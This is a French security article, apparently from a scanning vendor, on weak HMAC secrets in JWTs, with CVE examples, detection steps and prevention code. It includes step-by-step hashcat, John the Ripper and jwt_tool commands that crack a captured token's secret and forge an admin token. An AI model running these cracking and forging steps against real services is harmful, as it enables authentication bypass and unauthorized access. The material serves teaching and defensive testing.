Secret JWT Faible

Qu'est-ce qu'un secret JWT faible ?#

HS256, HS384 et HS512 utilisent une clé HMAC symétrique — le même secret est utilisé à la fois pour signer les tokens et les vérifier. Contrairement aux algorithmes asymétriques (RS256, ES256), le secret de signature doit être connu de chaque service vérifiant les tokens. Si le secret est devinable — trop court, prévisible ou un mot du dictionnaire — un attaquant peut le récupérer hors ligne par force brute puis forger tout token avec toutes revendications.

Il s'agit de CWE-326 (Résistance cryptographique insuffisante), une sous-classe d'A02:2021 (Défaillances cryptographiques). La vulnérabilité réside dans le choix de génération de clé, pas dans l'algorithme HMAC lui-même. HMAC-SHA256 est cryptographiquement solide avec une clé aléatoire de 256 bits appropriée ; il n'est compromis que lorsque la clé manque d'entropie suffisante pour résister aux devinettes.

L'attaque est entièrement hors ligne. Un seul token JWT capturé depuis une réponse de connexion, un journal d'en-tête Authorization ou un cookie est suffisant. Hashcat mode 16500 — dédié aux tokens JWT HMAC — teste des millions de secrets candidats par seconde. rockyou.txt (14 millions d'entrées) sur un GPU moderne craque la plupart des secrets choisis par les développeurs en moins de 60 secondes.

Mécanisme#

La signature HMAC-SHA256 est calculée comme :

sig = HMAC-SHA256(
    cle=secret,
    msg=base64url(en-tete) + "." + base64url(charge)
)

La force brute fonctionne en itérant sur les secrets candidats et en calculant cette fonction pour chacun :

Démonstration d'attaque avec chaîne d'outils complète :

# Étape 1 : Extraire un token depuis l'historique Burp Suite
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE_HMAC"
 
# Étape 2 : Sauvegarder le token dans un fichier
echo "$JWT" > token.txt
 
# Étape 3 : Cracker avec hashcat (GPU — le plus rapide)
hashcat -m 16500 -a 0 token.txt /usr/share/wordlists/rockyou.txt
 
# Étape 4 : Afficher le résultat craqué
hashcat -m 16500 token.txt --show
# Sortie : eyJhbGci...SIGNATURE:mon-secret-jwt
 
# Étape 5 : Forger un token avec le secret récupéré
python3 /opt/jwt_tool/jwt_tool.py "$JWT" -T -p '{"sub":"admin","role":"admin","exp":9999999999}' -S hs256 -p "mon-secret-jwt"

Pour les environnements sans GPU :

# John the Ripper (CPU, solution de repli)
john --format=hmac-sha256 --wordlist=/usr/share/wordlists/rockyou.txt token.txt
john --format=hmac-sha256 token.txt --show

Variantes d'attaque#

CVE-2020-28042 — HMAC Vide Accepté#

CVE-2020-28042 dans jose-php (CVSS 9,8) acceptait un token où la signature HMAC était une chaîne vide ou des octets zéro comme valide. L'attaquant n'a pas besoin de récupérer le secret — seulement d'envoyer une signature vide.

Exemples réels#

CVE-2025-4692 — Confusion algorithme JWT Cloud Salesforce (CVSS 9,8) La plateforme cloud de Salesforce acceptait des tokens HMAC-signés où le secret de signature était insuffisamment aléatoire lors du provisionnement. Un attaquant obtenant un token valide pouvait cracker le secret HMAC et forger des tokens accordant un accès non autorisé aux données client.

CVE-2024-48916 — Contournement Auth JWT Ceph RadosGW (CVSS 9,8) L'implémentation JWT de Ceph RADOS Gateway utilisait un secret par défaut qui n'était pas changé lors du déploiement. Un attaquant connaissant le défaut — documenté publiquement dans le guide d'installation Ceph — pouvait forger tout JWT et contourner entièrement l'authentification.

CVE-2020-28042 — jose-php HMAC Vide (CVSS 9,8) jose-php avant la version 3.1.2 acceptait les tokens avec une signature HMAC vide comme valides. Aucun craquage nécessaire — l'attaquant définissait le segment de signature à une chaîne vide ou au codage base64url de zéros.

Bug Bounty — Secret JWT "secret" (CVSS 9,1) Un test de pénétration contre une API fintech a découvert que le secret de signature JWT était la chaîne littérale "secret" — la valeur par défaut laissée dans la configuration depuis le développement. Hashcat l'a craqué instantanément. Le testeur a forgé un token admin, a accédé à l'API d'administration et a démontré l'escalade de privilèges complète. Prime de 8 000 €.

Détection#

Tests manuels#

1. Extraire un token JWT depuis toute requête authentifiée dans Burp Suite.
2. Vérifier l'en-tête alg : s'il est HS256, HS384 ou HS512, le craquage HMAC s'applique.
3. Sauvegarder le token complet dans un fichier.
4. Exécuter hashcat avec rockyou :

   hashcat -m 16500 -a 0 token.txt /usr/share/wordlists/rockyou.txt --potfile-disable

   Copier

5. Vérifier le résultat : hashcat -m 16500 token.txt --show. Format : token:secret_recupere.
6. En cas d'échec de rockyou, essayer des listes personnalisées :

   echo -e "nomappli\nnomappli123\nnomappli-secret\nNOMAPPLI_SECRET\n$(hostname)" > personnalise.txt
   hashcat -m 16500 -a 0 token.txt personnalise.txt

   Copier

Détection automatisée#

jwt_tool mode attaque par dictionnaire :

python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -C -d /usr/share/wordlists/rockyou.txt

BreachVex exécute le craquage HMAC contre chaque token HS256/384/512 découvert pendant la reconnaissance. Il utilise une liste de mots curatée combinant rockyou.txt, les termes spécifiques à l'application extraits des données de reconnaissance et un ensemble de secrets JWT par défaut connus des frameworks courants. Le craquage est limité en débit pour éviter l'expiration des tokens lors des longues sessions de force brute.

Prévention#

Secrets aléatoires cryptographiques#

import secrets, os
 
# BON — 32 octets (256 bits) d'aléatoire cryptographique
JWT_SECRET = secrets.token_bytes(32)           # Python 3.6+
JWT_SECRET = os.urandom(32)                    # également acceptable
JWT_SECRET_HEX = secrets.token_hex(32)         # chaîne hexadécimale de 64 caractères
 
# Stocker dans une variable d'environnement, jamais en dur
import os
JWT_SECRET = os.environ["JWT_SECRET"].encode()

// Node.js — générer et stocker
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(32).toString('hex'); // 64 chars hexadécimaux
const JWT_SECRET = Buffer.from(process.env.JWT_SECRET, 'hex');

Clés asymétriques pour les systèmes distribués#

# Pour les microservices : utiliser RS256 (asymétrique)
# Service de signature détient la clé privée ; tous les autres la clé publique uniquement
 
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt
 
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
 
# Signature (uniquement le service d'authentification)
token = jwt.encode({"sub": "utilisateur123", "exp": ...}, private_key, algorithm="RS256")
 
# Vérification (tout service avec clé publique)
payload = jwt.decode(token, public_key, algorithms=["RS256"])

Ressources#

• Lab PortSwigger Secret de signature JWT faible
• Hachages d'exemple hashcat — mode 16500
• Aide-mémoire stockage cryptographique OWASP
• RFC 7518 §3.2 — Exigences clé HMAC avec SHA-2